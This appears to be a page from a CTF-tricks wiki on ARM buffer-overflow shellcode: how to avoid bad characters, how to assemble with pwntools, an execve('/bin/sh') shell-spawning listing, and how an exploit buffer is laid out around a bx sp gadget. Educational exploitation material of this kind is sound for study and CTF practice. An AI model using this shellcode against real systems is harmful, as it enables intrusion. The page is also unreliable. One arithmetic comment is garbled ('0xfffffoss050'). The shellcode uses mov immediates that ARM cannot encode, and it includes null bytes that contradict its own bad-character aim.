> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-15/buffer-overflow/pwn-buffer-overflow-shellcode-modification.md).

# Shellcode Modification

## ARM Buffer Overflow Bad Character Bypass

Generate ARM shellcode that avoids specific bad characters (e.g., `\x00\x09\x0a\x0d\x20\x23\x26`). When values needed by the shellcode contain a bad byte (like an IP octet of `0x0a`), construct the value using multiple arithmetic or logical operations that don't generate the bad byte. For example, instead of an operation resulting in `0x0a` directly, use `add r1, #0x05; add r1, #0x05`.

Techniques for avoiding bad characters often involve using a combination of instructions like `eor` (Exclusive OR) and `sub` (Subtract) to generate desired byte values without directly loading them if they are bad characters. For instance, to generate the value `0x50` without using `0x50` directly, one could use:

```assembly
eor r1, r1, r1  @ r1 = 0x00
sub r1, r1, #0xb0 @ r1 = 0x00 - 0xb0 = -0xb0. In 32-bit two's complement, -0xb0 is 0xfffffoss050.
```

This method relies on the fact that arithmetic operations can produce values that might be forbidden if represented as immediate operands.

Construct multi-byte data like IP addresses byte by byte in registers using instructions like `mov`, `lsl`, and `add`, ensuring intermediate values and the instructions themselves do not introduce bad characters.

The `asm()` function provided by pwntools is used to assemble assembly code for a specified architecture. The assembled code is returned as a bytes object. The function takes the assembly code string as the first argument and allows specifying the architecture, OS, endianness, thumb mode, and virtual memory address for assembly. For example, to assemble a simple ARM snippet:

```python
from pwn import *
context.arch = 'arm'
shellcode = asm("""
    mov r0, #1
    mov r7, #4
    svc #0
""")
# The resulting 'shellcode' variable holds the assembled bytes.
# print(enhex(shellcode)) # Optional: print hex representation
```

This function is applied to the crafted ARM assembly code to produce the final shellcode bytes ready for inclusion in the exploit buffer.

A common goal for shellcode is to execute a command, such as spawning a shell. This typically involves using the `execve` syscall. The ARM assembly for this would involve setting up the arguments for `execve` in registers `r0`, `r1`, `r2`, and placing the syscall number (`0xb` for `execve`) in `r7`, then triggering the syscall via `svc #0`.\
An example structure for an `execve("/bin/sh", ["/bin/sh", NULL], NULL)` shellcode might look like this:

```assembly
    .global _start
    _start:

    // execve("/bin/sh", ["/bin/sh", NULL], NULL)
    // r0 = "/bin/sh" address
    // r1 = ["/bin/sh", NULL] address
    // r2 = NULL
    // r7 = 0xb (execve syscall number)

    // Construct "/bin/sh" string on stack
    mov r0, #0x68732f // "hs/"
    push {r0}
    mov r0, #0x6e69622f // "nib/"
    push {r0}
    mov r0, sp // r0 now points to "/bin/sh" on stack

    // Construct ["/bin/sh", NULL] array on stack
    mov r1, #0x0 // NULL terminator for array
    push {r1}
    push {r0} // push "/bin/sh" address
    mov r1, sp // r1 now points to the array

    // Set r2 to NULL
    mov r2, #0x0

    // Set r7 to execve syscall number (0xb)
    mov r7, #0xb

    // Trigger syscall
    svc #0
```

This example illustrates constructing data (`"/bin/sh"` string and the argument array) and setting up registers for a syscall. When dealing with bad characters, the `mov` immediate values and the addresses pushed onto the stack would need careful handling, potentially using the arithmetic/logic techniques mentioned earlier to avoid bad bytes.

The final exploit buffer typically looks like `[cyclic filler] + [bx sp ROP gadget address] + [crafted ARM shellcode]`. A `bx sp` gadget (e.g., `0x40010f88` from `libgcc_s.so.1`) found in a loaded library can be used to transfer execution flow from the point of overflow to the shellcode placed on the stack (pointed to by `sp`).
